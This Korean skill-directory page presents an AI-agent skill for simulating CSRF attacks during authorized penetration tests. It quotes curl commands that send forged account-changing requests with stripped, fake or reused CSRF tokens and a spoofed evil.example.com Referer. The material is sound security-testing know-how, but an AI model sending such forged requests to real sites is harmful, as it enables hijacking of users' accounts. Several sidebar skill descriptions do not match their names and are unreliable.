performing-csrf-attack-simulation
하는 일
이 도구는 웹사이트가 CSRF라는 특정 유형의 공격에 안전한지 테스트하는 데 도움을 줍니다. 공격자가 로그인한 사용자를 속여 사용자가 모르는 사이에 원하지 않는 작업을 수행하도록 하는 상황을 시뮬레이션합니다.
사용하는 경우
- ✓평가 허가를 받은 웹사이트의 보안을 테스트할 때.
- ✓CSRF 공격 방어가 작동하는지 확인하고 싶을 때.
- ✓비밀번호 변경이나 송금 같은 중요한 기능을 테스트할 때.
스킬 링크
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-csrf-attack-simulation/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“로그인한 사용자의 이메일 주소를 바꾸려고 CSRF 공격을 시뮬레이션해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
이 도구는 웹사이트에서 정보를 바꾸는 작업을 식별하고, 사용자가 직접 한 것처럼 위장해 실행을 시도합니다. 웹사이트가 이를 막기 위해 추가 확인을 요구하는지 확인합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Performing CSRF Attack Simulation
When to Use
- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF
- When testing the effectiveness of anti-CSRF token implementations
- For validating SameSite cookie attribute enforcement across different browsers
- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)
- During security audits of custom authentication and session management mechanisms
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: With CSRF PoC generator functionality
- Web server: Local HTTP server for hosting CSRF PoC pages (Python
http.server) - Two browsers: One authenticated as victim, one as attacker
- Target application: Authenticated session with valid test credentials
- HTML/JavaScript knowledge: For crafting custom CSRF payloads
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Identify State-Changing Requests
Browse the application and identify all POST/PUT/DELETE requests that modify server-side state.
# In Burp Suite, review Proxy > HTTP History
# Filter for POST/PUT/DELETE methods
# Focus on actions like:
# - Password/email change
# - Fund/money transfers
# - Account settings modifications
# - Adding/removing users or permissions
# - Creating/deleting resources
# - Toggling security features (2FA disable)
# Example state-changing request captured in Burp:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded
email=newemail@example.com
# Check for anti-CSRF protections:
# - CSRF tokens in form fields or headers
# - Custom headers (X-CSRF-Token, X-Requested-With)
# - SameSite cookie attribute
# - Referer/Origin header validation
Step 2: Analyze Anti-CSRF Token Implementation
Test the strength and enforcement of any CSRF protections present.
# Check if CSRF token is present
curl -s -b "session=abc123" \
"https://target.example.com/account/settings" | \
grep -i "csrf\|token\|_token"
# Test 1: Remove the CSRF token entirely
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 2: Send empty CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 3: Use a random/invalid CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 4: Reuse an expired/old CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=previously_captured_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 5: Use User B's CSRF token with User A's session
curl -s -X POST \
-b "session=user_a_session" \
-d "email=test@evil.com&csrf_token=user_b_csrf_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
Step 3: Check SameSite Cookie and Header Protections
Verify browser-level and header-based CSRF defenses.
# Check SameSite attribute on session cookies
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None
# SameSite=Lax allows CSRF on top-level GET navigations
# SameSite=None; Secure allows cross-site requests
# No SameSite attribute: browser defaults to Lax (modern browsers)
# Check for Origin/Referer header validation
# Send request with no Referer
curl -s -X POST \
-b "session=abc123" \
-H "Referer: " \
-d "email=test@evil.com&csrf_token=valid_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Send request with evil Referer
curl -s -X POST \
-b "session=abc123" \
-H "Referer: https://evil.example.com/attack" \
-d "email=test@evil.com&csrf_token=valid_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Send request with spoofed Origin
curl -s -X POST \
…
자주 묻는 질문
CSRF 공격이란 무엇인가요?
CSRF(사이트 간 요청 위조)는 로그인한 사용자의 브라우저가 사용자 모르게 웹사이트에 악성 요청을 보내도록 속이는 공격입니다.
이 도구를 사용하려면 허가가 필요한가요?
네, 보안 테스트를 위한 명시적인 서면 허가를 받은 시스템에서만 이 도구를 사용할 수 있습니다.
어떤 도구가 필요한가요?
Burp Suite Professional과 테스트를 실행하는 로컬 서버 같은 도구가 필요합니다.
상세 정보
작성자의 원본 설명
Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments.
인기도
- GitHub 스타
- 35k
- 순위
- #8213
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 8. 31.
댓글
- …
이 저장소의 다른 스킬
abusing-dpapi-for-credential-access
35kAI 에이전트에게 특정 작업을 위한 준비된 지침을 제공해, 더 잘하고 더 빠르게 처리하도록 합니다.
abusing-shadow-credentials-for-privesc
35kAI 에이전트가 명확하고 잘 구성된 텍스트를 쓰도록 가르칩니다.
achieving-cmmc-level-2-compliance
35kCMMC Level 2 규정 준수를 위한 환경을 준비하도록 돕습니다. 보안 요구 사항을 구현하고 필요한 문서를 관리합니다.
acquiring-disk-image-with-dd-and-dcfldd
35k에이전트가 하드 드라이브의 정확한 복사본을 만들도록 돕습니다. 조사 중 정보가 손실되거나 변경되지 않도록 하는 데 유용합니다.